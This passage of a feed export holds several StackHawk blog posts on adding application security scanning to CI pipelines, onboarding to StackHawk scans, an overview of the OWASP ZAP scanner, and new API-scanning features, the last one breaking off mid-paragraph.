href=&quot;https://www.blackhat.com/us-19/briefings/schedule/index.html#every-security-team-is-a-software-team-now-17280&quot;&gt;2019 Black Hat Conference keynote&lt;/a&gt;, stats from GitLab’s &lt;a href=&quot;https://about.gitlab.com/resources/downloads/2020-devsecops-report.pdf&quot;&gt;2020 Global DevSecOps Survey&lt;/a&gt; make this obvious, and we’ve &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-is-broken/&quot;&gt;shared our opinions&lt;/a&gt; at StackHawk.&lt;/p&gt;&lt;p&gt;I believe there is a solution (or at least a &lt;i&gt;huge&lt;/i&gt; step in the right direction)… developer-centric application security tooling in the CI pipeline.&lt;/p&gt;&lt;h3&gt;The CI pipeline aligns engineering and security&lt;/h3&gt;&lt;p&gt;While some in the industry have been debating the term DevSecOps, leading companies have started adopting developer-first security tooling that brings alignment through the CI pipeline. Instrumented correctly, it ensures that security bugs are caught before they hit production and that the fix cycle is drastically shortened.&lt;/p&gt;&lt;p&gt;The legacy model has security teams running application security tests against production environments. These sort of checks are great if they are your backstop. But if this is the primary way of assessing your application’s security posture, you need to catch up with modern engineering practices.&lt;/p&gt;&lt;p&gt;Modern teams are running checks on each microservice that makes up the customer facing application, catching bugs in pipeline, and equipping developers with the information to self serve fixes and triage issues. Fix times are significantly shorter, as developers are still in the context of the code they were working on. By testing microservices vs. the end state application, the underlying bugs are much easier to find and fix. And with developer-centric tooling, developers can fix bugs themselves instead of cycling through siloed internal processes. This structure better aligns each function with their best skill sets. Engineers know the application the best and are most equipped to fix, and security teams are able to focus on strategy instead of Jira ticket creation.&lt;/p&gt;&lt;p&gt;The key is to get the instrumentation right (read: don’t break the build for stupid stuff).&lt;/p&gt;&lt;h3&gt;Application security tests in CI&lt;/h3&gt;&lt;p&gt;That sounds great in theory, but what does it look like in practice? Getting started is actually more simple than it seems. We suggest adding three application security tests to start:&lt;/p&gt;&lt;h4&gt;Software composition analysis (SCA)&lt;/h4&gt;&lt;p&gt;SCA identifies the open source dependencies in your code base and compares that against a database of known security vulnerabilities. Some tools automatically create pull requests to patch outdated libraries. Open source use is exponentially growing, especially with chained dependencies. SCA is incredibly important, but also can be noisy with non-exploitable findings.&lt;/p&gt;&lt;p&gt;Some of the leading vendors in the space are &lt;a href=&quot;https://gitlab.com/&quot;&gt;GitLab&lt;/a&gt; and &lt;a href=&quot;https://snyk.io/&quot;&gt;Snyk&lt;/a&gt;, with up and comers like &lt;a href=&quot;https://fossa.com/&quot;&gt;FOSSA&lt;/a&gt; also worth paying attention to.&lt;/p&gt;&lt;h4&gt;Dynamic application security testing (DAST)&lt;/h4&gt;&lt;p&gt;DAST runs security tests against your running application, from localhost to CI to production. The beauty of DAST is that it most closely resembles what an attacker would see, by attacking your running application and reducing false positives. The two things to be sure of as you start testing with DAST is that your scanner is finding all of your paths and API endpoints and that it is able to scan as an authenticated user.&lt;/p&gt;&lt;p&gt;GitLab provides DAST checks for Ultimate tier customers. If you want more robust scanning options and additional functionality to manage and fix bugs, &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;StackHawk&lt;/a&gt; is the only place to turn (obviously I’m biased here). Other solutions include legacy vendors such as &lt;a href=&quot;https://www.rapid7.com/&quot;&gt;Rapid7&lt;/a&gt; or open source leader &lt;a href=&quot;https://www.zaproxy.org/&quot;&gt;ZAP&lt;/a&gt;.&lt;/p&gt;&lt;h4&gt;Secrets detection&lt;/h4&gt;&lt;p&gt;Finally, you’ll want to ensure that you have detection for leaked secrets in code. This tooling looks for credentials, keys, or other secrets that may have unintentionally been committed to the code base by developers. GitLab includes &lt;a href=&quot;https://docs.gitlab.com/ee/user/application_security/secret_detection/&quot;&gt;secret detection&lt;/a&gt; in their GitLab Ultimate security tooling.&lt;/p&gt;&lt;h3&gt;Getting started&lt;/h3&gt;&lt;p&gt;Oftentimes, the thought of adding application security tests to the development workflow feels insurmountable. With a long list of priorities, engineering leadership will sometimes put this off. The reality, however, is that it is not that hard.&lt;/p&gt;&lt;p&gt;At StackHawk, we see many customers completing their first successful scans within 15 minutes of sign up and instrumentation in CI is literally as easy as adding &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;a few lines of YAML&lt;/a&gt; to your build.&lt;/p&gt;&lt;p&gt;Here is our recommended playbook of how to get started with AppSec in CI. While this is specific to StackHawk, the principles can be applied to other tools as well.&lt;/p&gt;&lt;h4&gt;Step 1: local testing and config&lt;/h4&gt;&lt;p&gt;After signing up and grabbing your API key, start iterating on &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/&quot;&gt;configuration&lt;/a&gt; while testing against your application on localhost. This allows you to quickly adjust config and get successful authenticated scans running.&lt;/p&gt;&lt;h4&gt;Step 2: non-blocking CI instrumentation&lt;/h4&gt;&lt;p&gt;After you’ve ironed out the configuration locally, add the test to your CI pipeline. At this point, it is strongly recommended to instrument as a non-blocking test so that you can triage any existing findings and smooth out any kinks.&lt;/p&gt;&lt;h4&gt;Step 3: bug triage – fix critical issues in flight, backlog and discuss the rest&lt;/h4&gt;&lt;p&gt;After your first non-blocking CI run, start triaging any initial findings. Any bugs marked as High criticality should likely be fixed with some sense of urgency. Lows and Mediums should be triaged depending on your application and the bugs, either quickly addressed or added to a backlog for review. Existing findings should not be the blocker for you instrumenting checks to ensure that new bugs don’t get shipped to production.&lt;/p&gt;&lt;h4&gt;Step 4: switch to blocking tests&lt;/h4&gt;&lt;p&gt;After ironing out config locally and in CI, and then triaging initial findings, it is time to finalize the roll out. Switch the StackHawk test to blocking mode to ensure that new security bugs don’t hit production. You can set the scanner to break on High or Medium and High, which depends on your business and the nature of the application. With this in place, you can be confident that production-ready applications have been scanned for security.&lt;/p&gt;&lt;h3&gt;Cultural shifts: it is more than CI&lt;/h3&gt;&lt;p&gt;The CI pipeline is the natural hingepoint to start aligning engineering and security. A cultural shift, however, is absolutely needed. (If you’re doubtful about this, here’s a frank look at why &lt;a href=&quot;https://about.gitlab.com/blog/2020/08/13/developer-security-divide/&quot;&gt;dev and sec don’t get along&lt;/a&gt;.) Modern engineering teams recognize that delivering a secure application is part of quality engineering. Engineers aren’t comfortable shipping applications with UI bugs, and they shouldn’t accept security holes either.&lt;/p&gt;&lt;p&gt;Security, on the other hand, needs to shift from the blocker to speedy development and to the enabler of safety in an environment of high speed delivery. Modern security engineers are ensuring that their teams are working with safe-by-default frameworks, are equipped with developer-centric tooling, and that there are proper integration tests for business logic that can’t be tested by external tooling.&lt;/p&gt;&lt;p&gt;While there is significant catch up needed, it is encouraging to see the leading software teams out there testing application security on every build.&lt;/p&gt;&lt;h3&gt;Dig deeper&lt;/h3&gt;&lt;p&gt;To learn more about adding AppSec tests to your CI build, join me at my &lt;a href=&quot;https://sched.co/dUWD&quot;&gt;How Security Belongs in DevOps&lt;/a&gt; talk at GitLab Commit on August 26th. You can also always sign up for a &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;free StackHawk trial or demo&lt;/a&gt; or talk to your GitLab sales representative about the security features in GitLab Ultimate. And for the best of both worlds, check out more details on running &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/gitlab.html&quot;&gt;automated security testing with StackHawk in GitLab&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Onboarding #1: Configuration and Running Scans]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/onboarding-guide</guid><category><![CDATA[Onboarding]]></category><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;Welcome to StackHawk!&lt;/h3&gt;&lt;p&gt;To help you get started, we have written this onboarding guide with all the tips and tricks about getting up and running with StackHawk. This post covers how to get started, and will link to the next steps.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;HawkTip #1: Config + Running Scans&lt;/h3&gt;&lt;p&gt;StackHawk runs security scans against your running application. Kicking off your first scan typically takes about 15 minutes. You just need to &lt;b&gt;build your config and start a scan&lt;/b&gt;. Let’s jump in.&lt;/p&gt;&lt;h4&gt;Configuration&lt;/h4&gt;&lt;p&gt;StackHawk config is managed through the stackhawk.yml file in your project repo. Download the config from the getting started flow or copy it from &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/#detailed-configuration-example&quot;&gt;our docs&lt;/a&gt;. Below are the key elements.&lt;/p&gt;&lt;h5&gt;Basic Config&lt;/h5&gt;&lt;p&gt;This is all the scanner needs to run.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;applicationId&lt;/b&gt;: Logical grouping within StackHawk, created in our web app. We recommend testing at the microservice level (more thoughts on that here).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;env&lt;/b&gt;: What environment is the application running in – Development, Pre-Production, or Production?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;host&lt;/b&gt;: Where is your application running (e.g. localhost:8080)?&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h5&gt;Advanced Config&lt;/h5&gt;&lt;p&gt;Get the scanner working right for your application.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Describing Your App:&lt;/b&gt; The hawk configuration block is where you can feed in additional information about your application (&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/#hawk&quot;&gt;docs&lt;/a&gt;). By default, the scanner spiders your app and scans all identified paths. In this section, you can load in OpenAPI spec, enable the ajax spider for single page apps, and more.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GraphQL Scans:&lt;/b&gt; If your application is backed by a GraphQL API, you’ll want to set up the graphqlConf block (&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/#appgraphqlconf&quot;&gt;docs&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authentication:&lt;/b&gt; If your application requires authentication, you’ll want to configure this with the authentication block (&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/&quot;&gt;docs&lt;/a&gt;). Our next onboarding blog has all the details on authenticated scanning!&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Running a Scan&lt;/h4&gt;&lt;p&gt;Kicking off a scan is as simple as a single Docker command. An example is below, but hop over to &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/running-hawkscan.html#running-hawkscan&quot;&gt;the docs&lt;/a&gt; if you are running this on Windows, in PowerShell, or on Linux.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next up, our guide to &lt;a href=&quot;https://www.stackhawk.com/blog/onboarding-2-authenticated-scanning/&quot;&gt;Authenticated Scanning&lt;/a&gt;…&lt;/p&gt;&lt;p&gt;As always, we are here to help at &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;support@stackhawk.com&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[OWASP ZAP: Open Source App Security Testing]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/guide-to-zap-application-security-testing</guid><category><![CDATA[ZAP]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h2&gt;ZAP Overview: Open Source Application Security Testing&lt;/h2&gt;&lt;p&gt;OWASP Zed Attack Proxy (ZAP) (sometimes referred to as Zed Attack Proxy or &lt;a href=&quot;https://owasp.org/&quot;&gt;OWASP&lt;/a&gt; ZAP) is an &lt;a href=&quot;https://github.com/zaproxy&quot;&gt;open-source&lt;/a&gt; application security testing tool among software developers, enterprise security teams, and penetration testers alike. ZAP was founded in 2010 by &lt;a href=&quot;https://twitter.com/psiinon&quot;&gt;Simon Bennetts&lt;/a&gt;. Since then, ZAP has grown to become one of the most popular free security tools, an industry standard, and the &lt;a href=&quot;https://zaproxy.org/blog/2020-04-02-is-zap-the-worlds-most-popular-web-scanner&quot;&gt;most widely used application security scanner&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;This post provides an in-depth overview of ZAP, covering the following topics:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;What is ZAP?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;How it Works&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use Cases for ZAP&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;How to Get Started&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Alternatives to ZAP&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;What is OWASP ZAP?&lt;/h2&gt;&lt;p&gt;OWASP ZAP (Zed Attack Proxy) is a popular free security tool designed to help identify security vulnerabilities in web applications. Actively maintained by an international team of volunteers, OWASP ZAP is widely used by developers, functional testers, and experienced penetration testers. This integrated penetration testing tool can automatically find security vulnerabilities in web applications, making it an essential resource for anyone involved in web app security. Additionally, OWASP ZAP supports manual security testing, allowing users to perform in-depth analysis and testing of their applications.&lt;/p&gt;&lt;p&gt;Specifically, ZAP is a &lt;a href=&quot;https://stackhawk.com/blog/dynamic-application-security-testing-overview&quot;&gt;dynamic application security testing tool&lt;/a&gt;, which means that it runs active tests against the running application. These tests identify potential security vulnerabilities within the application and APIs, equipping engineers with the information to fix any issues found.&lt;/p&gt;&lt;p&gt;One thing that sets ZAP apart from other web application security testing tools is its ability to be automated. While it is still frequently used by penetration testers or individuals running manual security tests, &lt;a href=&quot;https://zaproxy.org/docs/api&quot;&gt;ZAP’s automation via API&lt;/a&gt; has allowed it to be used at scale within engineering teams such as Facebook, Intuit, and more.&lt;/p&gt;&lt;h2&gt;Key Features of OWASP ZAP&lt;/h2&gt;&lt;p&gt;OWASP ZAP boasts several key features that make it a powerful tool for web application security testing:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scan Policy Management&lt;/b&gt;: OWASP ZAP allows users to create and manage scan policies tailored to the specific requirements of each application. This feature enables penetration testers to optimize the scanner according to the target application’s capabilities, ensuring thorough and efficient testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;ZAP Spidering&lt;/b&gt;: The traditional ZAP spider is a core feature that crawls web applications to identify potential vulnerabilities. This spider can be configured to target specific parts of the application and can be used in conjunction with other ZAP features to enhance the overall security assessment.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;WebSocket Testing&lt;/b&gt;: OWASP ZAP provides robust WebSocket testing capabilities, allowing users to intercept, analyze, and tamper with WebSocket traffic between the client and server. This feature is particularly useful for identifying vulnerabilities in WebSocket-based applications, ensuring comprehensive security coverage.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By leveraging these features, OWASP ZAP users can conduct thorough security assessments of their web applications, identifying and addressing potential vulnerabilities before they can be exploited.&lt;/p&gt;&lt;h2&gt;How it Works&lt;/h2&gt;&lt;p&gt;In its simplest form, ZAP sends requests to the application that mimic the attacks a malicious attacker would use. Based on the response received from the application, ZAP highlights any potential vulnerabilities.&lt;/p&gt;&lt;p&gt;The active scanner in OWASP ZAP actively probes web applications for vulnerabilities after initially crawling them with a passive scan.&lt;/p&gt;&lt;p&gt;Digging a bit deeper, there are a few ways to understand how it works:&lt;/p&gt;&lt;h3&gt;Running Scans: Desktop vs. API&lt;/h3&gt;&lt;p&gt;ZAP can run scans as a desktop application, or it can be deployed via API in an automated fashion. The ideal way to run scans is typically dependent on the way you intend to use ZAP. Penetration testers and security analysts will often run a one-off test, utilizing the ZAP desktop application to identify vulnerabilities. Within software engineering and enterprise security teams, ZAP is more frequently deployed via automation, ensuring regular security testing of the application and APIs.&lt;/p&gt;&lt;p&gt;For those new to ZAP, the &amp;#39;quick start automated scan&amp;#39; feature in ZAP&amp;#39;s user interface allows users to quickly initiate scans on web applications without extensive configurations.&lt;/p&gt;&lt;p&gt;→ View the &lt;a href=&quot;https://zaproxy.org/getting-started&quot;&gt;Getting Started Guide&lt;/a&gt; for ZAP (including Desktop scanning)&lt;/p&gt;&lt;p&gt;→ View the ZAP &lt;a href=&quot;https://zaproxy.org/docs/api#introduction&quot;&gt;API Docs&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Defining the Application: Paths and API Routes&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;After deciding how you want to run the scan, the next step is to help the scanner discover the application. There are a few components of this:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;URL / Target:&lt;/b&gt; This field tells ZAP where the application is running and what to scan&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Traditional Spider:&lt;/b&gt; When enabled, the traditional spider kicks off an HTML spider to find the various paths and forms within the application&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;AJAX Spider:&lt;/b&gt; The AJAX spider executes the javascript within the application, looking for new paths or API routes. This is popular when the target applications are &lt;a href=&quot;https://en.wikipedia.org/wiki/Single-page_application&quot;&gt;single-page apps&lt;/a&gt; or (AJAX) web applications.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Routes:&lt;/b&gt; With modern application architecture, API security testing has become increasingly important. Scans of REST and GraphQL APIs can be configured using the ZAP documentation.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;With the application defined, you may be ready to run an initial scan. If your application requires authentication, however, you&amp;#39;ll need to configure that as well.&lt;/p&gt;&lt;h3&gt;Authenticated Security Scanning&lt;/h3&gt;&lt;p&gt;Many web applications require authentication to access. If this is the case, you will need to configure this within ZAP prior to running a scan. Otherwise, the scan will not test any paths or routes that are behind authentication protection.&lt;/p&gt;&lt;p&gt;ZAP supports various forms of authentication that cover the vast majority of application authentication instrumentations out there, including form-based authentication, script-based authentication, JSON-based authentication, and HTTP/NTLM based authentication&lt;/p&gt;&lt;p&gt;→ Learn about &lt;a href=&quot;https://zaproxy.org/docs/desktop/start/features/authentication&quot;&gt;authentication for the Desktop application&lt;/a&gt;→ Learn about &lt;a href=&quot;https://zaproxy.org/docs/api#getting-authenticated&quot;&gt;authentication when running ZAP via API&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Tests Run by ZAP&lt;/h3&gt;&lt;p&gt;ZAP runs testing to identify all of the major web application security vulnerabilities, such as &lt;a href=&quot;https://stackhawk.com/blog/what-is-sql-injection&quot;&gt;SQL Injection&lt;/a&gt;, &lt;a href=&quot;https://stackhawk.com/blog/what-is-cross-site-scripting-xss&quot;&gt;Cross-Site Scripting&lt;/a&gt;, Cross Site Request Forgery, and more. As an open source tool, ZAP has an ever growing list of tests that are run against the application and APIs to identify potential security vulnerabilities. &lt;/p&gt;&lt;p&gt;→ View the list of &lt;a href=&quot;https://zaproxy.org/docs/alerts&quot;&gt;tests run by ZAP&lt;/a&gt;&lt;/p&gt;&lt;p&gt;By default, ZAP scans include all of the tests in a Release status. Users, however, can choose to include rules that are included in alpha or beta status if they are interested.&lt;/p&gt;&lt;h3&gt;Passive vs Active Scanning&lt;/h3&gt;&lt;p&gt;Passive scans review all HTTP requests and responses from the application, looking for indicators of security vulnerabilities. These scans do not change anything about the requests, making passive scanning a safer option as it analyzes HTTP requests and responses without altering their content.&lt;/p&gt;&lt;p&gt;In the context of web application security testing using ZAP, passive vs active scanning is crucial. Passive scanning examines requests and responses without altering them, making it a safe option for identifying vulnerabilities during exploration. In contrast, active scanning involves executing known attacks to find more vulnerabilities, highlighting the need for permission when utilizing this method.&lt;/p&gt;&lt;p&gt;Active scans are definitely a better way to test for vulnerabilities in your application, as the test suite injects requests that will surface vulnerabilities. These scans are, however, actively attempting to attack the application, which may include creating or deleting data.&lt;/p&gt;&lt;p&gt;While passive scans are low risk, they also will not catch many potential vulnerabilities. By nature, these tests do not test for the most aggressive vulnerabilities, such as SQL Injection.&lt;/p&gt;&lt;p&gt;Additionally, the importance of a ZAP session cannot be overstated. Persisting the session datafrom scans to a local database allows for future access and management of testing configurations and results.&lt;/p&gt;&lt;h4&gt;Use Caution when Scanning Production Applications&lt;/h4&gt;&lt;p&gt;Ideally, teams should be testing their applications and APIs with active scans to find any potential vulnerabilities. There is a right way to do this, however, to ensure that the scan does not inflict harm on the production application.&lt;/p&gt;&lt;p&gt;Active scans should always be run against a pre-production build of the application. When testing a non-production environment, it does not matter if data is deleted, created, or if tables are dropped.&lt;/p&gt;&lt;p&gt;→ &lt;a href=&quot;https://zaproxy.org/docs/desktop/start/features/pscan&quot;&gt;ZAP Passive Scan Documentation&lt;/a&gt;&lt;/p&gt;&lt;p&gt;→ &lt;a href=&quot;https://zaproxy.org/docs/desktop/start/features/ascan&quot;&gt;ZAP Active Scan Documentation&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Use Cases for ZAP AppSec and API Testing&lt;/h2&gt;&lt;p&gt;ZAP is an application and API security testing tool that is used for a variety of purposes. As an open-source tool, it has been widely adopted, and its users have implemented it in creative ways. Below are some of the common reasons and ways that people are using ZAP.&lt;/p&gt;&lt;h3&gt;Automated Application Security Testing&lt;/h3&gt;&lt;p&gt;Software engineering and security teams frequently use ZAP in the CI/CD pipeline to test for security vulnerabilities in their applications and APIs during the build process. With ZAP instrumented in the DevOps (or DevSecOps) pipeline, vulnerabilities are caught before they are shipped to production.&lt;/p&gt;&lt;h3&gt;OWASP Top 10 Prevention&lt;/h3&gt;&lt;p&gt;For many companies, the first step in application security is ensuring that they are preventing the &lt;a href=&quot;https://owasp.org/www-project-top-ten&quot;&gt;OWASP Top 10 Vulnerabilities&lt;/a&gt;. ZAP is an excellent tool for testing applications to find potential OWASP Top 10 vulnerabilities. In fact, ZAP has a page dedicated to how they help software teams ensure they are &lt;a href=&quot;https://zaproxy.org/docs/guides/zapping-the-top-10&quot;&gt;secure against the top 10&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Software Delivery Compliance&lt;/h3&gt;&lt;p&gt;Many software companies have compliance requirements as defined by their customers or regulators. For example, it is common that &lt;a href=&quot;https://aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html&quot;&gt;SOC II&lt;/a&gt; compliance is required as part of a B2B software sale. These compliance requirements take different shapes, but often include provisions about security testing as part of the software delivery process. With ZAP instrumented in the SDLC, companies can achieve their various compliance requirements.&lt;/p&gt;&lt;h3&gt;Penetration Testing and Manual Security Testing&lt;/h3&gt;&lt;p&gt;ZAP is a favorite tool among &lt;a href=&quot;https://searchsecurity.techtarget.com/definition/penetration-testing&quot;&gt;penetration testers&lt;/a&gt;, whether internal to a company or part of an external firm. These individuals are hired to find vulnerabilities within an application before an attacker, preparing reports of what a company needs to fix. These individuals use ZAP to test applications and APIs for vulnerabilities.&lt;/p&gt;&lt;h3&gt;Secure Software Development&lt;/h3&gt;&lt;p&gt;Engineering teams want to deliver high quality software, which includes ensuring that software is secure. Many companies use ZAP to periodically test their software to identify security vulnerabilities. This can take a variety of forms, from scheduled ZAP scans to periodic manual reviews.&lt;/p&gt;&lt;h3&gt;Bug Bounty Testing&lt;/h3&gt;&lt;p&gt;Bug bounty programs, such as those facilitated by &lt;a href=&quot;https://hackerone.com/&quot;&gt;HackerOne&lt;/a&gt; or &lt;a href=&quot;https://bugcrowd.com/&quot;&gt;BugCrowd&lt;/a&gt;, are a strategy leveraged by many security teams to identify security gaps before an attacker can exploit them. Application security testing with tools such as ZAP can ensure that teams catch vulnerabilities before they are surfaced in a bug bounty program, increasing product security and reducing bug bounty payouts.&lt;/p&gt;&lt;h2&gt;OWASP ZAP Tutorial and Other Resources: &lt;/h2&gt;&lt;p&gt;Running your first security test with ZAP is simple. Download the ZAP desktop application, follow along with the Getting Started Guide, and run your first scan. Installers are available for different operating systems like Linux, Mac OS/X, and Windows, with the option to persist ZAP sessions when you install ZAP. For more complex configurations, check out the ZAP documentation.&lt;/p&gt;&lt;p&gt;→ &lt;a href=&quot;https://zaproxy.org/download&quot;&gt;Download ZAP Desktop&lt;/a&gt;&lt;/p&gt;&lt;p&gt;→ &lt;a href=&quot;https://zaproxy.org/getting-started&quot;&gt;ZAP Getting Started Guide&lt;/a&gt;&lt;/p&gt;&lt;p&gt;→ &lt;a href=&quot;https://zaproxy.org/docs&quot;&gt;ZAP Configuration&lt;/a&gt;&lt;/p&gt;&lt;p&gt;→ &lt;a href=&quot;https://zaproxy.org/docs/api&quot;&gt;ZAP API Docs&lt;/a&gt;&lt;/p&gt;&lt;p&gt;→ &lt;a href=&quot;https://youtube.com/playlist?list=PLz_NN8o2uh8AQ7VyUEN1GCCnpzl5_FaJA&quot;&gt;ZAP Video Documentation&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The ZAP community also plays a crucial role in supplying additional payloads for testing web applications, emphasizing the collaborative aspect of resource sharing among users. As with most popular open-source projects, the ZAP community is very active and something to be aware of and leverage as a user.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Alternatives to ZAP&lt;/h2&gt;&lt;p&gt;While ZAP is the leading open source application security testing tool, there are several free and commercial alternatives that companies will choose. When choosing a dynamic application security testing tool, ZAP is often compared against:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;b&gt;StackHawk&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; StackHawk is an application security testing software product built on top of ZAP. It leverages the power of the ZAP scanner and adds features to simplify automation in CI/CD and developer-first security. Learn more in our &lt;a href=&quot;https://www.stackhawk.com/blog/zap-vs-stackhawk-comparison/&quot;&gt;ZAP vs. StackHawk comparison guide&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;BurpSuite:&lt;/b&gt; Built by PortSwigger, BurpSuite is a dynamic application security testing tool that is popular among penetration testers. While BurpSuite has many features for manual testing (or even agent-based testing in the Enterprise product), ZAP is built for automation, APIs, and scalability.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Veracode:&lt;/b&gt; Veracode is an enterprise security tool offering a suite of products, including SAST, DAST, SCA, and IAST. While Veracode is a popular security tool among enterprise security teams, it’s DAST offering is often criticized for its lack of automation and its inability to test modern application architectures.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Rapid7:&lt;/b&gt; InsightAppSec is the dynamic application security testing tool from Rapid7. If you are using the Rapid7 platform and would like scanning of publicly available sites, Rapid7 can be a good choice.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;WhiteHat:&lt;/b&gt; Sentinel Dynamic is WhiteHat’s DAST product. If you are using the WhiteHat platform, the DAST product may be a valuable addition to that suite.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;→ Read the &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;Dynamic Application Security Testing: Overview and Tooling Guide&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Making StackHawk the Best API Security Testing Tool]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/api-security-testing-updates</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;You have probably noticed that we love APIs at StackHawk – especially secure APIs. You may have caught our latest content on how to keep your &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-protection-from-vulnerabilities-with-design-and-testing/&quot;&gt;APIs secure using vulnerability testing&lt;/a&gt;, or &lt;a href=&quot;https://www.stackhawk.com/blog/security-testing-apis-with-stackhawk-and-swagger/&quot;&gt;how to use your OpenAPI spec to run more thorough security testing&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;At the end of March we released a TON of new API scanning capabilities in the StackHawk platform. &lt;/p&gt;&lt;p&gt;What are those updates? Why should you use them? And how do they make it even easier to scan your APIs for security vulnerabilities?&lt;/p&gt;&lt;p&gt;Let’s dive in. &lt;/p&gt;&lt;h3&gt;New API Security Testing Features from StackHawk&lt;/h3&gt;&lt;p&gt;So what did we do exactly?&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Our new &lt;code&gt;autoPolicy&lt;/code&gt; flag in the &lt;code&gt;stackhawk.yml&lt;/code&gt; will pull a pretuned default policy from the StackHawk platform based on your configured API technology. This feature is currently available for GraphQL APIs and APIs built to the OpenAPI spec. Stay tuned for additional API technologies.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The &lt;code&gt;autoInputType&lt;/code&gt; detects the correct request type based on the API technology being tested. The scanner only sends JSON requests to REST and GraphQL APIs and XML requests to SOAP APIs. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The scanner now understands REST path parameters and will not re-scan the same page with different data. If you run a website and you have the URL “www.pantsstore.com/{brand},” we won’t scan every brand page individually. The scanner now realizes that {brand} represents data and is not part of the application’s structure. ZAP calls this concept &lt;a href=&quot;https://www.zaproxy.org/docs/desktop/start/features/ddc/&quot;&gt;Data Driven Content&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Why We ❤️ These Features&lt;/h3&gt;&lt;p&gt;The majority of security testing tools don’t understand the nuances of API technologies.&lt;/p&gt;&lt;p&gt;As a result, other scanners will bombard an API with all different request types until they can receive a response. And, many of the tests the scanner attempts to run aren’t applicable to APIs. This results in scans that run slowly and are full of false positives – resulting in a lot of user frustration. 